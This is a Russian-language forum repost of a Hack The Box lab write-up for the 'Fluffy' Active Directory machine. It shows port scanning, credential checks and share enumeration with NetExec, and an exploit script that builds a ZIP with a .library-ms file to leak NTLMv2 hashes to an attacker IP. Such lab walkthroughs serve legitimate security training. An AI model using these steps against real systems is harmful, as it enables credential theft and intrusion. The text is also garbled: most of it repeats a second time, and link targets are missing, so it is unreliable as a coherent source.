Оффлайн
- Регистрация
- 9 Май 2015
- Сообщения
- 1,567
- Баллы
- 155
Сегодня я на наглядном примере покажу, как повысить привилегии в Active Directory при помощи техники ADCS ESC16. На пути к захвату сервера нас также ждет свежая уязвимость в проводнике Windows и компрометация цепочки DACL.
Наша конечная цель — получение прав суперпользователя на машине Fluffy с учебной площадки . Уровень задания — легкий.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.69 fluffy.htb
На этот раз, помимо IP-адреса машины, нам дают учетку с правами пользователя домена.
Информация о машине
Первым делом запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел 11 открытых портов:
Первым делом проверим выданные учетные данные при помощи утилиты NetExec.
nxc smb 10.10.11.69 -u 'j.fleischman' -p 'J0elTHEM4n1990!'
Результат проверки учетных данных
Нам удается войти от имени пользователя j.fleischman.
Точка входа
У нас есть действующая учетная запись в домене, поэтому получим список пользователей. Иногда в описании учетных записей можно найти интересную информацию.
nxc smb 10.10.11.69 -u 'j.fleischman' -p 'J0elTHEM4n1990!' --users
Список пользователей
Сохраним список пользователей в файл на будущее, после чего просмотрим общие ресурсы SMB.
nxc smb 10.10.11.69 -u 'j.fleischman' -p 'J0elTHEM4n1990!' --shares
Список общих каталогов SMB
Нам доступен для чтения и записи каталог IT. Подключаемся к этому каталогу и просматриваем файлы.
smbclientng -d fluffy.htb -u 'j.fleischman' -p 'J0elTHEM4n1990!' --host 10.10.11.69
Список файлов в каталоге IT
Помимо двух инсталлеров, там есть и файл PDF. Документ оказывается отчетом о найденных уязвимостях, которые еще, вероятно, не запатчены на хосте.
Содержимое PDF-документа
Точка опоры
Из перечисленных уязвимостей попробуем проэксплуатировать . Суть этого бага в том, что при распаковке файла из архива RAR или ZIP проводник Windows автоматически проанализирует файлы .library-ms. Если в теге <url> указана ссылка на SMB, то произойдет автоматическая NTLM-аутентификация на удаленном сервере. Это приводит к утечке NTLMv2-хеша пользователя. Для создания архива воспользуемся .
python3 exploit.py -f exp -i 10.10.14.72
Создание ZIP-архива
Наша конечная цель — получение прав суперпользователя на машине Fluffy с учебной площадки . Уровень задания — легкий.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.69 fluffy.htb
На этот раз, помимо IP-адреса машины, нам дают учетку с правами пользователя домена.
Информация о машине
Первым делом запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел 11 открытых портов:
- 88 — Kerberos;
- 135 — Microsoft RPC;
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 — LDAP;
- 445 — SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 — служба удаленного управления WinRM.
Первым делом проверим выданные учетные данные при помощи утилиты NetExec.
nxc smb 10.10.11.69 -u 'j.fleischman' -p 'J0elTHEM4n1990!'
Результат проверки учетных данных
Нам удается войти от имени пользователя j.fleischman.
Точка входа
У нас есть действующая учетная запись в домене, поэтому получим список пользователей. Иногда в описании учетных записей можно найти интересную информацию.
nxc smb 10.10.11.69 -u 'j.fleischman' -p 'J0elTHEM4n1990!' --users
Список пользователей
Сохраним список пользователей в файл на будущее, после чего просмотрим общие ресурсы SMB.
nxc smb 10.10.11.69 -u 'j.fleischman' -p 'J0elTHEM4n1990!' --shares
Список общих каталогов SMB
Нам доступен для чтения и записи каталог IT. Подключаемся к этому каталогу и просматриваем файлы.
smbclientng -d fluffy.htb -u 'j.fleischman' -p 'J0elTHEM4n1990!' --host 10.10.11.69
Список файлов в каталоге IT
Помимо двух инсталлеров, там есть и файл PDF. Документ оказывается отчетом о найденных уязвимостях, которые еще, вероятно, не запатчены на хосте.
Содержимое PDF-документа
Точка опоры
Из перечисленных уязвимостей попробуем проэксплуатировать . Суть этого бага в том, что при распаковке файла из архива RAR или ZIP проводник Windows автоматически проанализирует файлы .library-ms. Если в теге <url> указана ссылка на SMB, то произойдет автоматическая NTLM-аутентификация на удаленном сервере. Это приводит к утечке NTLMv2-хеша пользователя. Для создания архива воспользуемся .
python3 exploit.py -f exp -i 10.10.14.72
Создание ZIP-архива